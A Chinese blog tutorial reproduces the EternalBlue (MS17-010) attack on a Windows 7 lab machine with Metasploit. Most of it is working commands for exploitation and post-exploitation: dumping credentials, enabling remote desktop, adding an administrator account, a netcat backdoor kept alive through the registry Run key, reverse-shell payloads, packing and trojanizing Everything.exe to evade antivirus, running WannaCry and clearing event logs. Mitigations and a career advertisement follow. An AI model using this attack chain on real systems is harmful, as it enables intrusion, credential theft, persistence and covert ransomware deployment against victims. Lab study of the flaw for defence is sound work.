Kali--MSF-永恒之蓝详解(复现、演示、远程、后门、加壳、修复)

目录

一、永恒之蓝概述

二、SMB协议

三、准备工作

四、漏洞复现

1、主机发现

2、端口扫描

3、利用模块

五、演示功能

1.获取cmd

2.捕获屏幕

3.上传文件

4.下载文件

5.远程登录

6.上传后门

7.免杀加壳

8.运行wannacry

9.清除日志

六、预防方案

1.打开防火墙

2.安装杀毒软件

3.禁用445端口

4.IPsec关闭高危端口

5.注册表关闭445端口

6.安装补丁

七、总结


一、永恒之蓝概述

永恒之蓝(Eternal
Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日,
不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。

二、SMB协议

SMB(Server Message
Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

三、准备工作

  • 虚拟机:VMware
  • 靶机:Windows 7(IP:192.168.184.138)
  • 攻击机:Kali (IP:192.168.184.130)
  • 工具:Kali中的nmap metasploit(MSF)

四、漏洞复现

1、主机发现

a.前提win7关闭防火墙

不关闭防火墙有可能nmap扫描不到其端口,MSF利用不了永恒之蓝漏洞。

可以ipconfig ifconfig分别查看win7和kali中的ip地址:

win7

kali

2.用kali中的nmap 扫描网段做主机发现

IP地址: <网络号>+<主机号>

A类:10.0.0.0~10.255.255.255

B类:172.16.0.0~173.31.255.255

C类:192.168.0.0~192.168.255.255

/24就是代表24个1,即子网掩码为255.255.255.0

192.168.184.0/24 “/” 后面的数字控制前面 ip 地址的掩码,以表示后面有几位可以变。

nmap -sP 192.168.184.0/24  #sP(ping扫描)

.1 .2 .254 都是虚拟机自带的地址 130是kali本身的 138是扫出来的win7

3.用kali中的metasploit(MSF)做主机发现

msfconsole                                 //启动MSF
use auxiliary/scanner/discovery/arp_sweep  //use使用模块
set rhosts 192.168.184.0/24   //设置扫描网段
set threads 50             //提高线程
run                        //运行

这是以上的方法做主机发现,其实还有很多。

  • Windows 7 IP:192.168.184.138
  • Kali IP:192.168.184.130

让他们ping一下,看看是否联通。

kali——ping——win7

win7——ping——kali

2、端口扫描

nmap -sT 扫描端口:

nmap -sT 192.168.184.138   #sT(使用TCP进行扫描)

MSF 端口扫描:

use auxiliary/scanner/portscan/tcp   //使用模块
set rhosts 192.168.184.138   //设置远程ip
run

扫出来端口139 135 445 是开放的,如果没有开启防火墙的状况下是可以直接利用的(前面我们已经关掉了)

3、利用模块

MSF 搜索永恒之蓝的漏洞 输入search ms17-010 (微软 永恒之蓝编号ms17-010)

1. blue就是永恒之蓝的漏洞

2. psexec是可利用的一个javascripe(JS)的一个模块

3. command是运行cmd的

4. 最后一个是探测的模块

a.我们先利用探测的模块看一下我们的这台win7有没有可能存在漏洞。

use auxiliary/scanner/smb/smb_ms17_010  //使用模块 use 3也可以
show options   //查看要配置的参数
set rhosts 192.168.184.138   //设置远程ip
run                    //运行

我们扫出来是 likely 可能的 可能存在漏洞 good!

b.我们在利用永恒之蓝的模块

use exploit/windows/smb/ms17_010_eternalblue
show options 
set rhosts 192.168.184.138
exploit/run

msf>命令

慢慢跑

成功!!!

运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如进入cmd、获取屏幕、上传/下载文件、创建持久后门等。

五、演示功能

1.获取cmd
meterpreter > shell
chcp 65001  //转换一下编码 要不然会乱码
ipconfig  #查看ip
whoami    #查看当前用户名称

2.捕获屏幕
meterpreter > screenshot   #屏幕截图

查看捕获的图片:

3 .上传文件
meterpreter > upload user.txt c://

到win7看一看,果然有了。![](https://img-
blog.csdnimg.cn/cde448f0dc1a406fa3761972a95471ab.png)

4.下载文件
meterpreter > download d://1.txt

5.远程登录

kiwi模块查看密码:

使用kiwi模块需要system管理员权限:

meterpreter > load kiwi //加载kiwi模块
Loading extension kiwi...Success.
creds_all  #列举所有凭据
exit   #退出

k:k123456

MSF启动目标机的3389端口

windows远程连接默认是不允许连接的:

我们总不能手动在win7上允许远程连接吧,这样我们怎么能算得上 Hacker 呢,哈哈哈…

启动win7的3389端口即远程桌面协议,执行远程链接命令:

meterpreter > run post/windows/manage/enable_rdp  //启用目标主机的3389端口远程桌面
meterpreter > idletime  //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。

在次查看win7远程:

root@kali:~# rdesktop 192.168.184.138  //使用 rdesktop 命令远程连接桌面

输入刚刚查到的账户和密码 k:k123456

连接成功!!!

由于这样我们远程登录win7用户k,在win7会把用户k顶下去:

创建用户:

所以我们要创建一个新用户用来登录:

meterpreter > shell            #进入命令行
net user kill 123 /add         #新建用户kill 密码123
net  localgroup  administrators kill /add #将用户kill添加到Win7的本地管理员组中,获得管理员权限
net user               #查看用户

root@kali:~# rdesktop 192.168.184.138  //使用 rdesktop 命令远程连接桌面

但是这样也会被win7的当前用户所以提示要不要让远程用户远程连接到本机:

点击确定—kali连接到win7,点击取消kali连不上win7.

确定 :

取消:

查一查吧!!!

chat-GPT是真好用!

按照GPT的来

  1. 输入“gpedit.msc”并回车,打开本地组策略编辑器。

  2. 在组策略编辑器中依次展开“计算机配置”、“管理模板”、“Windows组件”、“远程桌面服务”和“远程桌面会话主机”。

  3. 右侧窗口中找到“限制每个用户只能有一个会话”选项,将其禁用。

  4. 保存设置并关闭组策略编辑器。

我的win7专业版好像不行。。。设置完成还是不能多用户远程登录,还是会挤掉。。。

好在找到了破解补丁!!!破解—重启!!!

重启win7 在次连接:成功!!!

kali远程连接:rdesktop 192.168.184.138

win7没有掉:

6.上传后门

在网络工具中有“瑞士军刀”美誉的NetCat,上传nc.exe到win7。

msf上传到win7 的c盘windows下

upload /usr/share/windows-binaries/nc.exe  C:\\Windows   

win7看一下:

当目标机开机,程序后台运行,且监听端口为7777,这个端口可以自己设置。

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 7777 -e cmd.exe'

新建一个防火墙规则,允许7777端口访问网络。可以通过reboot命令重起目标机,然后通过nc -v ip+端口进行连接。

 netsh firewall add portopening TCP 7777 "kill" ENABLE ALL 

对应的win7:

通过nc
-v连接靶机进入控制台

nc -v 192.168.184.145 7777 

whoami 查看用户是kill 因为我们是开启监听kill用户的7777,所以nc上线到的是kill用户:

7.免杀加壳

MSF生成.exe的马:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.184.130 lport=4444 -f exe -o shell.exe

我们把nc军刀和生成的.exe马都上传到win7的windows下addins目录(因为这是windows的默认自带目录)

upload /root/kiss/nc.exe c:\\Windows\\addins
upload /root/kiss/shell.exe c:\\Windows\\addins
#长传   kali木马的目录       上传到目标主机的目录

查看win7下的目录:

360,火绒检测一下,肯定是报毒的:

给木马加壳:

加壳用到的工具是 Shielden:

一个奇葩的事:nc军刀加壳后过火绒没过360,生成的.exe马加壳后过360没过火绒。

不过这样是不行的,因为只是没了360火绒的检测,可是还要运行.exe,运行的时候大概率还是会被杀掉的。

shellter附加:

大概意思是把木马里的代码插入到正常的可执行文件中,这样增加木马的混淆性,使其达到免杀的效果。

kali新版本已经没有了,安装命令:

apt-get update
apt-get install shellter
dpkg --add-architecture i386 && apt-get update && apt-get install wine32

我的已经下好了:

shellter:命令行启动

如果有中文乱码,是因为缺少字体,下载字体就可以了:

链接:https://pan.baidu.com/s/1Pbj_mUd3fPR7juqsjeizFA
提取码:8888

kali命令:

unzip Fonts.zip  #解压.zip

cp Fonts/* ~/.wine/drive_c/windows/Fonts/   #把Fonts文件夹内所有字体复制到wine的映射目录内

打开~/.wine/drive_c/windows/Fonts,确保字体已复制(原本这个文件夹是空的)


终端输入winecfg,然后点击“显示”界面,可以发现红框处由原来的乱码变成了可显示的中文字体。

好了,正片开始:

下载文件搜索工具everything

我们用32位everything.exe,可点该链接下载

下载好以后是一个压缩包,解压之后把里面的 everything.exe 放到kali中

添加后门 :

启动shellter后,在选择模式后选择 A ,自动模式:

然后输入要加后门文件的路径:

A
/root/kiss/bao/Everything.exe

回车后等一会,要选择是否启用隐身模式这里选择 N

看图填就行:

监听ip填写kali的,端口填6666就好:

回车:

这个时候木马就已经生成成功了,生成的木马替换了原本PE文件的位置,原本的PE文件存在 Shellter_Backups

Shielden加壳:

不加壳能够过360,过不了火绒:

还是要加壳滴:

加壳后:

先利用永恒之蓝把木马上传到win7中: (可以上传指更深层的目录)

upload /root/kiss/bao/Everything_se.exe c:\\

查看一下

MSF运行Everything.exe即监听成功:

先开启端口

MSF永恒之蓝运行:
shell进入cmd
开启6666端口
netsh advfirewall firewall add rule name="Open Port 6666" dir=in action=allow protocol=TCP localport=6666 enable=yes
cd 到带有木马下的目录
Everything_se.exe 运行该木马

等开启监听在运行也可以

MSF启动监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.184.138
set lport 6666
run

最后的运行:

大概就是先开启监听,然后在利用MSF永恒之蓝运行:

查看win7,发现Everything.exe在运行:

当然我们也可以给木马加入开机自启,然后MSF开启监听,直接上线到win7:

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\Everything_se.exe -Ldp 6666 -e cmd.exe'

设置完成后win7重启,在reboot重启也行.

上线MSF:成功!!!

8.运行wannacry

MSF upload 上传wcry.exe 并运行:

运行即勒索:

尝试关闭wcry.exe,结果失败:

好在软件还可以进去,360,火绒扫一扫吧:

wannacry:360火绒能奈我何😊😊😊 这次是真想哭了(wannacry)…

9.清除日志

win7 事件查看器(日志)

kali中清除

meterpreter > clearev

在次查看,都被清空了,但是还会有最后一个命令清除的日志。

六、预防方案

  • 打开防火墙,安装杀毒软件。
  • 关闭445端口及不必要的服务。
  • 安装对应补丁。

1.打开防火墙

win7下打开防火墙:

MSF测试 :

开启防火墙模式下—MSF发起攻击:

竟然成功了!!! (注:这是我攻击过后,在次利用MSF攻击。未被永恒之蓝攻击过开启防火墙是攻击不了的)

2.安装杀毒软件

360和火绒:成功阻止永恒之蓝

病毒查杀nc.exe

MSF攻击:拒绝连接了

因为360 火绒起了防护作用,还把我的后门nc军刀给杀掉了。(想不被发现还要做免杀)

看来安装杀毒软件还是有用滴。(关闭360火绒还是可以攻击的)

测试工具:显示还是有永恒之蓝的。

3.禁用445端口

防火墙新增入站规则:

打开防火墙的高级设置,新建入站规则:

选择端口139,455

阻止连接

作用于全部(域,专用,公用)命名为高危端口,139,445端口。

打开防火墙的入站规则查看:

关闭server服务

WIN+R 运行–services.msc

找到server服务,双击进入管理控制页面。把这个服务的启动类型更改为“禁用”,服务状态更改为“停止”,最后点击应用即可。

关闭不必要的服务:

比如 网络发现、文件传输、共享、打印、远程连接、远程桌面。

4.IPsec关闭高危端口

在“开始”菜单选择“运行”,输入“gpedit.msc”后回车,打开本地组策略编辑器。依次展开“计算机配置—windows设置—安全设置—ip安全策略,在
本地计算机”,右键创建ip安全策略:

填写名称:

下一步

下一步

添加

继续添加:

命名,添加,任何ip就行

确定:

筛选器新建

阻止

确定 查看:

添加139和其他端口一个道理。

MSF测试:失败

5.注册表关闭445端口

注册表方式关闭445端口,还有防火墙规则方式,cmd命令提示行关闭等等。

WIN+R 运行–regedit 进入注册表:

找到注册表项“HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters”

选择“Parameters”项,右键单击,选择“新建”——“DWORD值”。(64位 32位根据自己系统需求)

将DWORD值重命名为“SMBDeviceEnabled”

右键修改"数值数据"的值为0(0代表关闭,1代表打开),点击确定,完成设置 。

最后重启电脑即可关闭445端口。

重启之前:netstat -ant 查看端口:

重启之后:netstat -ant 查看端口,发现没有445端口了。

445端口关闭了,肯定攻击不成功了,超时。。。


工具也因445端口关闭而连接失败,但win7还是存在永恒之蓝漏洞的。

虽然这种方法可行,但伤敌一千,自损八百。因为我们个人不一定用到445端口等文件共享,打印什么的,但是公司企业需要:

比如:企业在服务器上将某一个目录共享给企业内的员工,让他们存储及共享文件等。

6.安装补丁

这是大招了,哈哈哈。。。

补丁网站:

Microsoft Update
Catalog

我们安装微软发布的2019年的补丁,也是最新的补丁, 因为微软在2020.1月的时候停止对win7的支持更新了。

win7安装补丁之前:

win7安装KB4474419补丁:

多了一个补丁:

MSF攻击:

失败

工具检测:系统安全

七、总结

为了维持操作系统的安全,我们能做到的是及时更新,安装补丁,关闭不必要的服务和端口

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

2023届全国高校毕业生预计达到1158万人,就业形势严峻;

国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

img

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 23
    点赞
  • 46
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
永恒之蓝漏洞的复现流程大致如下: 1. 首先,你需要准备两台机器,一台是攻击机(Linux kali),另一台是靶机(Windows 2008R2)。 2. 打开Metasploit框架,可以使用命令`msfconsole`。 3. 在Metasploit框架中,使用`search ms17_010`命令搜索永恒之蓝漏洞的相关代码。你会找到两个工具,其中`auxiliary/scanner/smb/smb_ms17_010`是用于扫描漏洞的模块,`exploit/windows/smb/ms17_010_eternalblue`是用于攻击的代码。一般情况下,你需要先使用扫描模块,如果显示存在漏洞,再使用攻击代码进行攻击。 4. 配置攻击目标IP,使用命令`use exploit/windows/smb/ms17_010_eternalblue`选择攻击模块。 5. 接下来,你需要使用该模块对靶机服务器进行攻击。使用命令`set RHOSTS <靶机IP>`来配置目标IP。 6. 最后,执行攻击命令,例如使用`exploit`命令开始攻击。 需要注意的是,复现永恒之蓝漏洞属于安全研究领域,只应在合法的环境下进行,并遵守相关法律法规。在实际环境中,应该始终保持系统和软件的更新,以免存在已知漏洞。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [永恒之蓝漏洞复现](https://blog.csdn.net/weixin_39096432/article/details/115422428)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值